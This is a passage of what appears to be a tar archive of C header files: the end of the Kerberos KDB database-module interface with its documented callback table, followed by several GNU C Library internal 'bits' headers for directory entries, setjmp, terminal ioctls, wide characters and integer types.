to be certain that the same malloc implementation is used. */ typedef struct _kdb_vftabl { short int maj_ver; short int min_ver; /* * Mandatory: Invoked after the module library is loaded, when the first DB * using the module is opened, across all contexts. */ krb5_error_code (*init_library)(void); /* * Mandatory: Invoked before the module library is unloaded, after the last * DB using the module is closed, across all contexts. */ krb5_error_code (*fini_library)(void); /* * Mandatory: Initialize a database object. Profile settings should be * read from conf_section inside KDB_MODULE_SECTION. db_args communicates * command-line arguments for module-specific flags. mode will be one of * KRB5_KDB_OPEN_{RW,RO} or'd with one of * KRB5_KDB_SRV_TYPE_{KDC,ADMIN,PASSWD,OTHER}. */ krb5_error_code (*init_module)(krb5_context kcontext, char *conf_section, char **db_args, int mode); /* * Mandatory: Finalize the database object contained in a context. Free * any state contained in the db_context pointer and null it out. */ krb5_error_code (*fini_module)(krb5_context kcontext); /* * Optional: Initialize a database object while creating the underlying * database. conf_section and db_args have the same meaning as in * init_module. This function may return an error if the database already * exists. Used by kdb5_util create. * * If db_args contains the value "temporary", the module should create an * exclusively locked side copy of the database suitable for loading in a * propagation from master to replica. This side copy will later be * promoted with promote_db, allowing complete updates of the DB with no * loss in read availability. If the module cannot comply with this * architecture, it should return an error. */ krb5_error_code (*create)(krb5_context kcontext, char *conf_section, char **db_args); /* * Optional: Destroy a database. conf_section and db_args have the same * meaning as in init_module. Used by kdb5_util destroy. In current * usage, the database is destroyed while open, so the module should handle * that. */ krb5_error_code (*destroy)(krb5_context kcontext, char *conf_section, char **db_args); /* * Deprecated: No longer used as of krb5 1.10; can be removed in the next * DAL revision. Modules should leave as NULL. */ krb5_error_code (*get_age)(krb5_context kcontext, char *db_name, time_t *age); /* * Optional: Lock the database, with semantics depending on the mode * argument: * * KRB5_DB_LOCKMODE_SHARED: Lock may coexist with other shared locks. * KRB5_DB_LOCKMODE_EXCLUSIVE: Lock may not coexist with other locks. * KRB5_DB_LOCKMODE_PERMANENT: Exclusive lock surviving process exit. * * Used by the "kadmin lock" command, incremental propagation, and * kdb5_util dump. Incremental propagation support requires shared locks * to operate. kdb5_util dump will continue unlocked if the module returns * KRB5_PLUGIN_OP_NOTSUPP. */ krb5_error_code (*lock)(krb5_context kcontext, int mode); /* Optional: Release a lock created with db_lock. */ krb5_error_code (*unlock)(krb5_context kcontext); /* * Mandatory: Set *entry to an allocated entry for the principal * search_for. If the principal is not found, return KRB5_KDB_NOENTRY. * * The meaning of flags are as follows: * * KRB5_KDB_FLAG_CANONICALIZE: Set by the KDC when looking up entries for * an AS or TGS request with canonicalization requested. Determines * whether the module should return out-of-realm referrals. * * KRB5_KDB_FLAG_INCLUDE_PAC: Set by the KDC during an AS request when the * client requested PAC information during padata, and during most TGS * requests. Indicates that the module should include PAC information * when its sign_authdata method is invoked. * * KRB5_KDB_FLAG_CLIENT_REFERRALS_ONLY: Set by the KDC when looking up the * client entry in an AS request. Affects how the module should return * out-of-realm referrals. * * KRB5_KDB_FLAG_MAP_PRINCIPALS: Set by the KDC when looking up the client * entry during TGS requests, except for S4U TGS requests and requests * where the server entry has the KRB5_KDB_NO_AUTH_DATA_REQUIRED * attribute. Indicates that the module should map foreign principals * to local principals if it supports doing so. * * KRB5_KDB_FLAG_PROTOCOL_TRANSITION: Set by the KDC when looking up the * client entry during an S4U2Self TGS request. This affects the PAC * information which should be included when authorization data is * generated; see the Microsoft S4U specification for details. * * KRB5_KDB_FLAG_CONSTRAINED_DELEGATION: Set by the KDC when looking up the * client entry during an S4U2Proxy TGS request. Also affects PAC * generation. * * KRB5_KDB_FLAG_CROSS_REALM: Set by the KDC after looking up a server * entry during a TGS request, if the header ticket was issued by a * different realm. * * KRB5_KDB_FLAG_ISSUING_REFERRAL: Set by the KDC after looking up a server * entry during a TGS request, if the requested server principal is not * part of the realm being served, and a referral or alternate TGT will * be issued instead. * * A module may return an in-realm alias by setting (*entry)->princ to the * canonical name. The KDC will decide based on the request whether to use * the requested name or the canonical name in the issued ticket. * * A module can return a referral to another realm if * KRB5_KDB_FLAG_CANONICALIZE is set, or if * KRB5_KDB_FLAG_CLIENT_REFERRALS_ONLY is set and search_for->type is * KRB5_NT_ENTERPRISE_PRINCIPAL. If KRB5_KDB_FLAG_CLIENT_REFERRALS_ONLY is * set, the module should return a referral by simply filling in an * out-of-realm name in (*entry)->princ and setting all other fields to * NULL. Otherwise, the module should return the entry for the cross-realm * TGS of the referred-to realm. For TGS referals, the module can also * include tl-data of type KRB5_TL_SERVER_REFERRAL containing ASN.1-encoded * Windows referral data as documented in * draft-ietf-krb-wg-kerberos-referrals-11 appendix A; this will be * returned to the client as encrypted padata. */ krb5_error_code (*get_principal)(krb5_context kcontext, krb5_const_principal search_for, unsigned int flags, krb5_db_entry **entry); /* * Optional: Create or modify a principal entry. db_args communicates * command-line arguments for module-specific flags. * * The mask field of an entry indicates the changed fields. Mask values * are defined in kadmin's admin.h header. If KADM5_PRINCIPAL is set in * the mask, the entry is new; otherwise it already exists. All fields of * an entry are expected to contain correct values, regardless of whether * they are specified in the mask, so it is acceptable for a module to * ignore the mask and update the entire entry. */ krb5_error_code (*put_principal)(krb5_context kcontext, krb5_db_entry *entry, char **db_args); /* * Optional: Delete the entry for the principal search_for. If the * principal did not exist, return KRB5_KDB_NOENTRY. */ krb5_error_code (*delete_principal)(krb5_context kcontext, krb5_const_principal search_for); /* * Optional with default: Rename a principal. If the source principal does * not exist, return KRB5_KDB_NOENTRY. If the target exists, return an * error. * * NOTE: If the module chooses to implement a custom function for renaming * a principal instead of using the default, then rename operations will * fail if iprop logging is enabled. */ krb5_error_code (*rename_principal)(krb5_context kcontext, krb5_const_principal source, krb5_const_principal target); /* * Optional: For each principal entry in the database, invoke func with the * argments func_arg and the entry data. If match_entry is specified, the * module may narrow the iteration to principal names matching that regular * expression; a module may alternatively ignore match_entry. */ krb5_error_code (*iterate)(krb5_context kcontext, char *match_entry, int (*func)(krb5_pointer, krb5_db_entry *), krb5_pointer func_arg, krb5_flags iterflags); /* * Optional: Create a password policy entry. Return an error if the policy * already exists. */ krb5_error_code (*create_policy)(krb5_context kcontext, osa_policy_ent_t policy); /* * Optional: Set *policy to the policy entry of the specified name. If the * entry does not exist, return KRB5_KDB_NOENTRY. */ krb5_error_code (*get_policy)(krb5_context kcontext, char *name, osa_policy_ent_t *policy); /* * Optional: Modify an existing password policy entry to match the values * in policy. Return an error if the policy does not already exist. */ krb5_error_code (*put_policy)(krb5_context kcontext, osa_policy_ent_t policy); /* * Optional: For each password policy entry in the database, invoke func * with the argments data and the entry data. If match_entry is specified, * the module may narrow the iteration to policy names matching that * regular expression; a module may alternatively ignore match_entry. */ krb5_error_code (*iter_policy)(krb5_context kcontext, char *match_entry, osa_adb_iter_policy_func func, void *data); /* * Optional: Delete the password policy entry with the name policy. Return * an error if the entry does not exist. */ krb5_error_code (*delete_policy)(krb5_context kcontext, char *policy); /* * Optional with default: Retrieve a master keyblock from the stash file * db_args, filling in *key and *kvno. mname is the name of the master * principal for the realm. * * The default implementation reads the master keyblock from a keytab or * old-format stash file. */ krb5_error_code (*fetch_master_key)(krb5_context kcontext, krb5_principal mname, krb5_keyblock *key, krb5_kvno *kvno, char *db_args); /* * Optional with default: Given a keyblock for some version of the * database's master key, fetch the decrypted master key values from the * database and store the list into *mkeys_list. The caller will free * *mkeys_list using a libkdb5 function which uses the standard free() * function, so the module must not use a custom allocator. * * The caller may not know the version number of the master key it has, in * which case it will pass IGNORE_VNO. * * The default implementation ignores kvno and tries the key against the * current master key data and all KRB5_TL_MKEY_AUX values, which contain * copies of the master keys encrypted with old master keys. */ krb5_error_code (*fetch_master_key_list)(krb5_context kcontext, krb5_principal mname, const krb5_keyblock *key, krb5_keylist_node **mkeys_list); /* * Optional with default: Save a list of master keyblocks, obtained from * fetch_master_key_list, into the stash file db_arg. The caller will set * master_pwd to NULL, so the module should just ignore it. mname is the * name of the master principal for the realm. * * The default implementation saves the list of master keys in a * keytab-format file. */ krb5_error_code (*store_master_key_list)(krb5_context kcontext, char *db_arg, krb5_principal mname, krb5_keylist_node *keylist, char *master_pwd); /* * Optional with default: Starting at position *start, scan the key data of * a database entry for a key matching the enctype ktype, the salt type * stype, and the version kvno. Store the resulting key into *kdatap and * set *start to the position after the key found. If ktype is negative, * match any enctype. If stype is negative, match any salt type. If kvno * is zero or negative, find the most recent key version satisfying the * other constraints. */ krb5_error_code (*dbe_search_enctype)(krb5_context kcontext, krb5_db_entry *dbentp, krb5_int32 *start, krb5_int32 ktype, krb5_int32 stype, krb5_int32 kvno, krb5_key_data **kdatap); /* * Optional with default: Change the key data for db_entry to include keys * derived from the password passwd in each of the specified key-salt * types, at version new_kvno. Discard the old key data if keepold is not * set. * * The default implementation uses the keyblock master_key to encrypt each * new key, via the function encrypt_key_data. */ krb5_error_code (*change_pwd)(krb5_context context, krb5_keyblock *master_key, krb5_key_salt_tuple *ks_tuple, int ks_tuple_count, char *passwd, int new_kvno, krb5_boolean keepold, krb5_db_entry *db_entry); /* * Optional: Promote a temporary database to be the live one. context must * be initialized with an exclusively locked database created with the * "temporary" db_arg. On success, the database object contained in * context will be finalized. * * This method is used by kdb5_util load to replace the live database with * minimal loss of read availability. */ krb5_error_code (*promote_db)(krb5_context context, char *conf_section, char **db_args); /* * Optional with default: Decrypt the key in key_data with master keyblock * mkey, placing the result into dbkey. Copy the salt from key_data, if * any, into keysalt. Either dbkey or keysalt may be left unmodified on * successful return if key_data does not contain key or salt information. * * The default implementation expects the encrypted key (in krb5_c_encrypt * format) to be stored in key_data_contents[0], with length given by * key_data_length[0]. If key_data_ver is 2, it expects the salt to be * stored, unencrypted, in key_data_contents[1], with length given by * key_data_length[1]. */ krb5_error_code (*decrypt_key_data)(krb5_context kcontext, const krb5_keyblock *mkey, const krb5_key_data *key_data, krb5_keyblock *dbkey, krb5_keysalt *keysalt); /* * Optional with default: Encrypt dbkey with master keyblock mkey, placing * the result into key_data along with keysalt. * * The default implementation stores the encrypted key (in krb5_c_encrypt * format) in key_data_contents[0] and the length in key_data_length[0]. * If keysalt is specified, it sets key_data_ver to 2, and stores the salt * in key_data_contents[1] and its length in key_data_length[1]. If * keysalt is not specified, key_data_ver is set to 1. */ krb5_error_code (*encrypt_key_data)(krb5_context kcontext, const krb5_keyblock *mkey, const krb5_keyblock *dbkey, const krb5_keysalt *keysalt, int keyver, krb5_key_data *key_data); /* * Optional: Generate signed authorization data, such as a Windows PAC, for * the ticket to be returned to the client. Place the signed authorization * data, if any, in *signed_auth_data. This function will be invoked for * an AS request if the client included padata requesting a PAC. This * function will be invoked for a TGS request if there is authorization * data in the TGT, if the client is from another realm, or if the TGS * request is an S4U2Self or S4U2Proxy request. This function will not be * invoked during TGS requests if the server principal has the * no_auth_data_required attribute set. Input parameters are: * * flags: The flags used to look up the client principal. * * client_princ: For S4U2Self and S4U2Proxy TGS requests, the client * principal requested by the service; for regular TGS requests, the * possibly-canonicalized client principal. * * server_princ: The server principal in the request. * * client: The DB entry of the client if it is in the local realm, NULL * if not. For S4U2Self and S4U2Proxy TGS requests, this is the DB * entry for the client principal requested by the service. * * server: The DB entry of the service principal, or of a cross-realm * krbtgt principal in case of referral. * * header_server: For S4U2Proxy requests, the DB entry of the second * ticket server. For other TGS requests, the DB entry of the header * ticket server. For AS requests, NULL. * * local_tgt: the DB entry of the local krbtgt principal. * * client_key: The reply key for the KDC request, before any FAST armor * is applied. For AS requests, this may be the client's long-term key * or a key chosen by a preauth mechanism. For TGS requests, this may * be the subkey found in the AP-REQ or the session key of the TGT. * * server_key: The server key used to encrypt the returned ticket. * * header_key: For S4U2Proxy requests, the key used to decrypt the second * ticket. For TGS requests, the key used to decrypt the header * ticket. For AS requests, NULL. * * local_tgt_key: The decrypted first key of local_tgt. * * session_key: The session key of the ticket being granted to the * requestor. * * authtime: The timestamp of the original client authentication time. * For AS requests, this is the current time. For TGS requests, this * is the authtime of the subject ticket (TGT or S4U2Proxy evidence * ticket). * * tgt_auth_data: For TGS requests, the authorization data present in the * subject ticket. For AS requests, NULL. * * ad_info: For TGS requests, the parsed authorization data if obtained * by get_authdata_info method from the authorization data present in * the subject ticket. Otherwise NULL. * * auth_indicators: Points to NULL or a null-terminated list of krb5_data * pointers, each containing an authentication indicator (RFC 8129). * The method may modify this list, or free it and replace * *auth_indicators with NULL, to change which auth indicators will be * included in the ticket. */ krb5_error_code (*sign_authdata)(krb5_context kcontext, unsigned int flags, krb5_const_principal client_princ, krb5_const_principal server_princ, krb5_db_entry *client, krb5_db_entry *server, krb5_db_entry *header_server, krb5_db_entry *local_tgt, krb5_keyblock *client_key, krb5_keyblock *server_key, krb5_keyblock *header_key, krb5_keyblock *local_tgt_key, krb5_keyblock *session_key, krb5_timestamp authtime, krb5_authdata **tgt_auth_data, void *ad_info, krb5_data ***auth_indicators, krb5_authdata ***signed_auth_data); /* * Optional: Perform a policy check on a cross-realm ticket's transited * field. Return 0 if the check authoritatively succeeds, * KRB5_PLUGIN_NO_HANDLE to use the core transited-checking mechanisms, or * another error (other than KRB5_PLUGIN_OP_NOTSUPP) if the check fails. */ krb5_error_code (*check_transited_realms)(krb5_context kcontext, const krb5_data *tr_contents, const krb5_data *client_realm, const krb5_data *server_realm); /* * Optional: Perform a policy check on an AS request, in addition to the * standard policy checks. Return 0 if the AS request is allowed. If the * AS request is not allowed: * - Place a short string literal into *status. * - If desired, place data into e_data. Any data placed here will be * freed by the caller using the standard free function. * - Return an appropriate error (such as KRB5KDC_ERR_POLICY). */ krb5_error_code (*check_policy_as)(krb5_context kcontext, krb5_kdc_req *request, krb5_db_entry *client, krb5_db_entry *server, krb5_timestamp kdc_time, const char **status, krb5_pa_data ***e_data); /* * Optional: Perform a policy check on a TGS request, in addition to the * standard policy checks. Return 0 if the TGS request is allowed. If the * TGS request is not allowed: * - Place a short string literal into *status. * - If desired, place data into e_data. Any data placed here will be * freed by the caller using the standard free function. * - Return an appropriate error (such as KRB5KDC_ERR_POLICY). * The input parameter ticket contains the TGT used in the TGS request. */ krb5_error_code (*check_policy_tgs)(krb5_context kcontext, krb5_kdc_req *request, krb5_db_entry *server, krb5_ticket *ticket, const char **status, krb5_pa_data ***e_data); /* * Optional: This method informs the module of a successful or unsuccessful * AS request. */ void (*audit_as_req)(krb5_context kcontext, krb5_kdc_req *request, const krb5_address *local_addr, const krb5_address *remote_addr, krb5_db_entry *client, krb5_db_entry *server, krb5_timestamp authtime, krb5_error_code error_code); /* Note: there is currently no method for auditing TGS requests. */ /* * Optional: This method informs the module of a request to reload * configuration or other state (that is, the KDC received a SIGHUP). */ void (*refresh_config)(krb5_context kcontext); /* * Optional: Perform a policy check on server being allowed to obtain * tickets from client to proxy. (Note that proxy is the target of the * delegation, not the delegating service; the term "proxy" is from the * viewpoint of the delegating service asking another service to perform * some of its work in the authentication context of the client. This * terminology comes from the Microsoft S4U protocol documentation.) * Return 0 if policy allows it, or an appropriate error (such as * KRB5KDC_ERR_POLICY) if not. If this method is not implemented, all * S4U2Proxy delegation requests will be rejected. */ krb5_error_code (*check_allowed_to_delegate)(krb5_context context, krb5_const_principal client, const krb5_db_entry *server, krb5_const_principal proxy); /* * Optional: Free the e_data pointer of a database entry. If this method * is not implemented, the e_data pointer in principal entries will be * freed with free() as seen by libkdb5. */ void (*free_principal_e_data)(krb5_context kcontext, krb5_octet *e_data); /* * Optional: get a principal entry for S4U2Self based on X509 certificate. * * If flags include KRB5_KDB_FLAG_CLIENT_REFERRALS_ONLY, princ->realm * indicates the request realm, but the data components should be ignored. * The module can return an out-of-realm client referral as it would for * get_principal(). * * If flags does not include KRB5_KDB_FLAG_CLIENT_REFERRALS_ONLY, princ is * from PA-S4U-X509-USER. If it contains data components (and not just a * realm), the module should verify that it is the same as the lookup * result for client_cert. The module should not return a referral. */ krb5_error_code (*get_s4u_x509_principal)(krb5_context kcontext, const krb5_data *client_cert, krb5_const_principal princ, unsigned int flags, krb5_db_entry **entry_out); /* * Optional: Perform a policy check on server being allowed to obtain * tickets from client to proxy. This method is similar to * check_allowed_to_delegate, but it operates on the target server DB entry * (called "proxy" here as in Microsoft's protocol documentation) rather * than the intermediate server entry. server_ad_info represents the * authdata of the intermediate server, as returned by the * get_authdata_info method on the header ticket. Return 0 if policy * allows the delegation, or an appropriate error (such as * KRB5KDC_ERR_POLICY) if not. * * This method is called for S4U2Proxy requests and implements the * resource-based constrained delegation variant, which can support * cross-realm delegation. If this method is not implemented or if it * returns a policy error, the KDC will fall back to * check_allowed_to_delegate if the intermediate and target servers are in * the same realm and the evidence ticket is forwardable. */ krb5_error_code (*allowed_to_delegate_from)(krb5_context context, krb5_const_principal client, krb5_const_principal server, void *server_ad_info, const krb5_db_entry *proxy); /* * Optional: Perform verification and policy checks on authorization data, * such as a Windows PAC, based on the request client lookup flags. Return * 0 if all checks have passed. Optionally return a representation of the * authdata in *ad_info_out, to be consumed by allowed_to_delegate_from and * sign_authdata. Returning *ad_info_out is required to support * resource-based constrained delegation. * * If the KRB5_KDB_FLAG_CONSTRAINED_DELEGATION bit is set, a PAC must be * provided and verified, and an error should be returned if the client is * not allowed to delegate. If the KRB5_KDB_FLAG_CROSS_REALM bit is also * set, set *client_out to the client name in the PAC; this indicates the * requested client principal for a cross-realm S4U2Proxy request. * * This method is called for TGS requests on the authorization data from * the header ticket. For S4U2Proxy requests it is also called on the * authorization data from the evidence ticket. If the * KRB5_KDB_FLAG_PROTOCOL_TRANSITION bit is set in flags, the authdata is * from the header ticket of an S4U2Self referral request, and the supplied * client_princ is the requested client. */ krb5_error_code (*get_authdata_info)(krb5_context context, unsigned int flags, krb5_authdata **in_authdata, krb5_const_principal client_princ, krb5_const_principal server_princ, krb5_keyblock *server_key, krb5_keyblock *krbtgt_key, krb5_db_entry *krbtgt, krb5_timestamp authtime, void **ad_info_out, krb5_principal *client_out); void (*free_authdata_info)(krb5_context context, void *ad_info); /* End of minor version 0 for major version 8. */ } kdb_vftabl; #endif /* !defined(_WIN32) */ #endif /* KRB5_KDB5__ */ bits/dirent.h 0000644 00000003352 15246445046 0007160 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _DIRENT_H # error "Never use <bits/dirent.h> directly; include <dirent.h> instead." #endif struct dirent { #ifndef __USE_FILE_OFFSET64 __ino_t d_ino; __off_t d_off; #else __ino64_t d_ino; __off64_t d_off; #endif unsigned short int d_reclen; unsigned char d_type; char d_name[256]; /* We must not include limits.h! */ }; #ifdef __USE_LARGEFILE64 struct dirent64 { __ino64_t d_ino; __off64_t d_off; unsigned short int d_reclen; unsigned char d_type; char d_name[256]; /* We must not include limits.h! */ }; #endif #define d_fileno d_ino /* Backwards compatibility. */ #undef _DIRENT_HAVE_D_NAMLEN #define _DIRENT_HAVE_D_RECLEN #define _DIRENT_HAVE_D_OFF #define _DIRENT_HAVE_D_TYPE #if defined __OFF_T_MATCHES_OFF64_T && defined __INO_T_MATCHES_INO64_T /* Inform libc code that these two types are effectively identical. */ # define _DIRENT_MATCHES_DIRENT64 1 #else # define _DIRENT_MATCHES_DIRENT64 0 #endif bits/setjmp.h 0000644 00000002406 15246445046 0007174 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Define the machine-dependent type `jmp_buf'. x86-64 version. */ #ifndef _BITS_SETJMP_H #define _BITS_SETJMP_H 1 #if !defined _SETJMP_H && !defined _PTHREAD_H # error "Never include <bits/setjmp.h> directly; use <setjmp.h> instead." #endif #include <bits/wordsize.h> #ifndef _ASM # if __WORDSIZE == 64 typedef long int __jmp_buf[8]; # elif defined __x86_64__ __extension__ typedef long long int __jmp_buf[8]; # else typedef int __jmp_buf[6]; # endif #endif #endif /* bits/setjmp.h */ bits/ioctl-types.h 0000644 00000004627 15246445046 0010155 0 ustar 00 /* Structure types for pre-termios terminal ioctls. Linux version. Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_IOCTL_H # error "Never use <bits/ioctl-types.h> directly; include <sys/ioctl.h> instead." #endif /* Get definition of constants for use with `ioctl'. */ #include <asm/ioctls.h> struct winsize { unsigned short int ws_row; unsigned short int ws_col; unsigned short int ws_xpixel; unsigned short int ws_ypixel; }; #define NCC 8 struct termio { unsigned short int c_iflag; /* input mode flags */ unsigned short int c_oflag; /* output mode flags */ unsigned short int c_cflag; /* control mode flags */ unsigned short int c_lflag; /* local mode flags */ unsigned char c_line; /* line discipline */ unsigned char c_cc[NCC]; /* control characters */ }; /* modem lines */ #define TIOCM_LE 0x001 #define TIOCM_DTR 0x002 #define TIOCM_RTS 0x004 #define TIOCM_ST 0x008 #define TIOCM_SR 0x010 #define TIOCM_CTS 0x020 #define TIOCM_CAR 0x040 #define TIOCM_RNG 0x080 #define TIOCM_DSR 0x100 #define TIOCM_CD TIOCM_CAR #define TIOCM_RI TIOCM_RNG /* ioctl (fd, TIOCSERGETLSR, &result) where result may be as below */ /* line disciplines */ #define N_TTY 0 #define N_SLIP 1 #define N_MOUSE 2 #define N_PPP 3 #define N_STRIP 4 #define N_AX25 5 #define N_X25 6 /* X.25 async */ #define N_6PACK 7 #define N_MASC 8 /* Mobitex module */ #define N_R3964 9 /* Simatic R3964 module */ #define N_PROFIBUS_FDL 10 /* Profibus */ #define N_IRDA 11 /* Linux IR */ #define N_SMSBLOCK 12 /* SMS block mode */ #define N_HDLC 13 /* synchronous HDLC */ #define N_SYNC_PPP 14 /* synchronous PPP */ #define N_HCI 15 /* Bluetooth HCI UART */ bits/wchar-ldbl.h 0000644 00000004567 15246445046 0007723 0 ustar 00 /* -mlong-double-64 compatibility mode for <wchar.h> functions. Copyright (C) 2006-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _WCHAR_H # error "Never include <bits/wchar-ldbl.h> directly; use <wchar.h> instead." #endif #if defined __USE_ISOC95 || defined __USE_UNIX98 __LDBL_REDIR_DECL (fwprintf); __LDBL_REDIR_DECL (wprintf); __LDBL_REDIR_DECL (swprintf); __LDBL_REDIR_DECL (vfwprintf); __LDBL_REDIR_DECL (vwprintf); __LDBL_REDIR_DECL (vswprintf); # if defined __USE_ISOC99 && !defined __USE_GNU \ && !defined __REDIRECT \ && (defined __STRICT_ANSI__ || defined __USE_XOPEN2K) __LDBL_REDIR1_DECL (fwscanf, __nldbl___isoc99_fwscanf) __LDBL_REDIR1_DECL (wscanf, __nldbl___isoc99_wscanf) __LDBL_REDIR1_DECL (swscanf, __nldbl___isoc99_swscanf) # else __LDBL_REDIR_DECL (fwscanf); __LDBL_REDIR_DECL (wscanf); __LDBL_REDIR_DECL (swscanf); # endif #endif #ifdef __USE_ISOC99 __LDBL_REDIR1_DECL (wcstold, wcstod); # if !defined __USE_GNU && !defined __REDIRECT \ && (defined __STRICT_ANSI__ || defined __USE_XOPEN2K) __LDBL_REDIR1_DECL (vfwscanf, __nldbl___isoc99_vfwscanf) __LDBL_REDIR1_DECL (vwscanf, __nldbl___isoc99_vwscanf) __LDBL_REDIR1_DECL (vswscanf, __nldbl___isoc99_vswscanf) # else __LDBL_REDIR_DECL (vfwscanf); __LDBL_REDIR_DECL (vwscanf); __LDBL_REDIR_DECL (vswscanf); # endif #endif #ifdef __USE_GNU __LDBL_REDIR1_DECL (wcstold_l, wcstod_l); #endif #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function __LDBL_REDIR_DECL (__swprintf_chk) __LDBL_REDIR_DECL (__vswprintf_chk) # if __USE_FORTIFY_LEVEL > 1 __LDBL_REDIR_DECL (__fwprintf_chk) __LDBL_REDIR_DECL (__wprintf_chk) __LDBL_REDIR_DECL (__vfwprintf_chk) __LDBL_REDIR_DECL (__vwprintf_chk) # endif #endif bits/link_lavcurrent.h 0000644 00000002113 15246445046 0011067 0 ustar 00 /* Data structure for communication from the run-time dynamic linker for loaded ELF shared objects. LAV_CURRENT definition. Copyright (C) 2021 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <https://www.gnu.org/licenses/>. */ #ifndef _LINK_H # error "Never include <bits/link_lavcurrent.h> directly; use <link.h> instead." #endif /* Version numbers for la_version handshake interface. */ #define LAV_CURRENT 2 bits/stdint-uintn.h 0000644 00000002030 15246445046 0010323 0 ustar 00 /* Define uintN_t types. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_STDINT_UINTN_H #define _BITS_STDINT_UINTN_H 1 #include <bits/types.h> typedef __uint8_t uint8_t; typedef __uint16_t uint16_t; typedef __uint32_t uint32_t; typedef __uint64_t uint64_t; #endif /* bits/stdint-uintn.h */ bits/wctype-wchar.h 0000644 00000014235 15246445046 0010312 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 Standard: 7.25 * Wide character classification and mapping utilities <wctype.h> */ #ifndef _BITS_WCTYPE_WCHAR_H #define _BITS_WCTYPE_WCHAR_H 1 #if !defined _WCTYPE_H && !defined _WCHAR_H #error "Never include <bits/wctype-wchar.h> directly; include <wctype.h> or <wchar.h> instead." #endif #include <bits/types.h> #include <bits/types/wint_t.h> /* The definitions in this header are specified to appear in <wctype.h> in ISO C99, but in <wchar.h> in Unix98. _GNU_SOURCE follows C99. */ /* Scalar type that can hold values which represent locale-specific character classifications. */ typedef unsigned long int wctype_t; # ifndef _ISwbit /* The characteristics are stored always in network byte order (big endian). We define the bit value interpretations here dependent on the machine's byte order. */ # include <endian.h> # if __BYTE_ORDER == __BIG_ENDIAN # define _ISwbit(bit) (1 << (bit)) # else /* __BYTE_ORDER == __LITTLE_ENDIAN */ # define _ISwbit(bit) \ ((bit) < 8 ? (int) ((1UL << (bit)) << 24) \ : ((bit) < 16 ? (int) ((1UL << (bit)) << 8) \ : ((bit) < 24 ? (int) ((1UL << (bit)) >> 8) \ : (int) ((1UL << (bit)) >> 24)))) # endif enum { __ISwupper = 0, /* UPPERCASE. */ __ISwlower = 1, /* lowercase. */ __ISwalpha = 2, /* Alphabetic. */ __ISwdigit = 3, /* Numeric. */ __ISwxdigit = 4, /* Hexadecimal numeric. */ __ISwspace = 5, /* Whitespace. */ __ISwprint = 6, /* Printing. */ __ISwgraph = 7, /* Graphical. */ __ISwblank = 8, /* Blank (usually SPC and TAB). */ __ISwcntrl = 9, /* Control character. */ __ISwpunct = 10, /* Punctuation. */ __ISwalnum = 11, /* Alphanumeric. */ _ISwupper = _ISwbit (__ISwupper), /* UPPERCASE. */ _ISwlower = _ISwbit (__ISwlower), /* lowercase. */ _ISwalpha = _ISwbit (__ISwalpha), /* Alphabetic. */ _ISwdigit = _ISwbit (__ISwdigit), /* Numeric. */ 